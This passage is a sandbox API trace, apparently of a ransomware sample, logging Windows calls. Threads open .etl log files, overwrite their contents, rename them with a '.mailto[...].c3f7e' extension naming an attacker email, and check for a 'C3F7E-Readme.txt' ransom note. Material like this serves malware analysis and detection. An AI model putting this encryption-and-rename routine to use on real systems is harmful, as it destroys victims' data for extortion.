	[0083.631] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.631] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.631] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd590) returned 1

Thread:
	id = 1124
	os_tid = 0x1e00

	[0083.598] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.007.etl")) returned 0x2020
	[0084.068] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl", dwFileAttributes=0x20) returned 1
	[0084.070] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.007.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1708
	[0084.072] GetFileSizeEx (in: hFile=0x1708, lpFileSize=0x278bff18 | out: lpFileSize=0x278bff18*=8192) returned 1
	[0084.072] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.072] ReadFile (in: hFile=0x1708, lpBuffer=0x278bfe9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x278bfe98, lpOverlapped=0x0 | out: lpBuffer=0x278bfe9c*, lpNumberOfBytesRead=0x278bfe98*=0x4, lpOverlapped=0x0) returned 1
	[0084.079] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.079] NtQuerySystemTime (in: CurrentTime=0x278bfe78 | out: CurrentTime=0x278bfe78*=132251868108119978) returned 0x0
	[0084.079] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0xc1a70e55
	[0084.079] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x9b8a2ff7
	[0084.079] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x89ba32f4
	[0084.079] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0xe1e2e523
	[0084.079] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x2ee7347d
	[0084.079] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x9da4c853
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x6fd7df3a
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0xc4be1788
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x8f747e70
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x934bab4a
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0xdf3b6619
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x70edf4b1
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x913f7ddf
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x388bb201
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x6a137aa9
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x763b9bf4
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x94a93c53
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x3d910916
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x8d732944
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x3116bde9
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x58c3be12
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x29838760
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x8ce11060
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0xb1318a7f
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0xb9329595
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x75926293
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x3ccf6a92
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x57e754ed
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0xbd944b23
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x501b5a4c
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x8754ff2e
	[0084.080] RtlRandom (in: Seed=0x278bfe84 | out: Seed=0x278bfe84) returned 0x390725e4
	[0084.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0084.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0084.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.089] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0084.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0084.089] ReadFile (in: hFile=0x1708, lpBuffer=0x503e840, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x278bfe74, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x278bfe74*=0x2000, lpOverlapped=0x0) returned 1
	[0084.090] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.090] WriteFile (in: hFile=0x1708, lpBuffer=0x504b048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x278bfe70, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesWritten=0x278bfe70*=0x2000, lpOverlapped=0x0) returned 1
	[0084.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0084.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775ed0
	[0084.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342a8
	[0084.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0084.091] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.091] WriteFile (in: hFile=0x1708, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x278bfed8, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x278bfed8*=0x129, lpOverlapped=0x0) returned 1
	[0084.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0084.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0084.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342a8) returned 1
	[0084.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0084.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.094] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0084.094] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925b58
	[0084.094] wcscpy (in: _Dest=0x4925b58, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl"
	[0084.094] wcscat (in: _Dest=0x4925b58, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.094] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x278bfe90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0084.094] NtSetInformationFile (FileHandle=0x1708, IoStatusBlock=0x278bfe88, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0084.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0084.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0084.095] NtQueryInformationFile (in: FileHandle=0x1708, IoStatusBlock=0x278bfe9c, FileInformation=0x278bfe74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x278bfe9c, FileInformation=0x278bfe74) returned 0x0
	[0084.095] NtSetInformationFile (FileHandle=0x1708, IoStatusBlock=0x278bfe9c, FileInformation=0x278bfe74, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.096] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925b58) returned 1
	[0084.096] FlushFileBuffers (hFile=0x1708) returned 1
	[0084.097] CloseHandle (hObject=0x1708) returned 1
	[0084.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0084.098] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.098] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.098] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0084.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd290) returned 1

Thread:
	id = 1125
	os_tid = 0x1e04

	[0083.598] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.008.etl")) returned 0x2020
	[0084.051] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl", dwFileAttributes=0x20) returned 1
	[0084.052] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.008.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1704
	[0084.052] GetFileSizeEx (in: hFile=0x1704, lpFileSize=0x2793feb4 | out: lpFileSize=0x2793feb4*=8192) returned 1
	[0084.052] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.053] ReadFile (in: hFile=0x1704, lpBuffer=0x2793fe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2793fe34, lpOverlapped=0x0 | out: lpBuffer=0x2793fe38*, lpNumberOfBytesRead=0x2793fe34*=0x4, lpOverlapped=0x0) returned 1
	[0084.054] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.054] NtQuerySystemTime (in: CurrentTime=0x2793fe14 | out: CurrentTime=0x2793fe14*=132251868107962857) returned 0x0
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x34430719
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x5ce2ba2d
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x5cb6f59e
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xc97eaee4
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xabd4e6b3
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xfa2f2626
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xeba85f4b
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xe997ec5d
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x8df50e03
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xe80149ed
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xd049872d
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x27e4e2f9
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xa98fd4ab
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x72ce9270
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xd1d444fe
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xc925e0e3
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x6fbcafd6
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xc8e395d5
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x6d632dd4
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xc1d3abfc
	[0084.054] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x84d1fd79
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xac854cf0
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0x8b29710a
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xfba243a4
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xe0410926
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xbabb052d
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xcc239330
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xa4300bf7
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xd0f328d4
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xad142ec8
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xabe18d1f
	[0084.055] RtlRandom (in: Seed=0x2793fe20 | out: Seed=0x2793fe20) returned 0xc4ddd2f1
	[0084.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0084.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0084.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0084.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0084.068] ReadFile (in: hFile=0x1704, lpBuffer=0x503e840, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2793fe10, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2793fe10*=0x2000, lpOverlapped=0x0) returned 1
	[0084.069] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.069] WriteFile (in: hFile=0x1704, lpBuffer=0x504b048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2793fe0c, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesWritten=0x2793fe0c*=0x2000, lpOverlapped=0x0) returned 1
	[0084.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0084.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775ed0
	[0084.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342a8
	[0084.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0084.070] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.071] WriteFile (in: hFile=0x1704, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x2793fe74, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2793fe74*=0x129, lpOverlapped=0x0) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342a8) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0084.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925b58
	[0084.073] wcscpy (in: _Dest=0x4925b58, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl"
	[0084.073] wcscat (in: _Dest=0x4925b58, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.073] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2793fe2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0084.073] NtSetInformationFile (FileHandle=0x1704, IoStatusBlock=0x2793fe24, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0084.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0084.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0084.074] NtQueryInformationFile (in: FileHandle=0x1704, IoStatusBlock=0x2793fe38, FileInformation=0x2793fe10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2793fe38, FileInformation=0x2793fe10) returned 0x0
	[0084.074] NtSetInformationFile (FileHandle=0x1704, IoStatusBlock=0x2793fe38, FileInformation=0x2793fe10, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.075] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925b58) returned 1
	[0084.075] FlushFileBuffers (hFile=0x1704) returned 1
	[0084.076] CloseHandle (hObject=0x1704) returned 1
	[0084.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0084.077] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.077] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.077] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0084.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd990) returned 1

Thread:
	id = 1126
	os_tid = 0x1e08

	[0083.598] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.009.etl")) returned 0x2020
	[0084.030] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl", dwFileAttributes=0x20) returned 1
	[0084.031] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.009.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
